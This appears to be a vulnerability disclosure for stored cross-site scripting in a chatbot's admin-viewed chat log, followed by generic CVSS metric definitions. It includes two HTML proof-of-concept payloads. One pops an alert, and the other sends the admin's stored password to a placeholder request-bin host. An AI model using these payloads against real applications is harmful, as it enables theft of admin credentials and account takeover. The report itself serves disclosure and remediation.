Description

Description

In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.

PoC

<form>
  <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" />
</form>

If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot.

<form>
  <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" />
</form>

So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps.

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
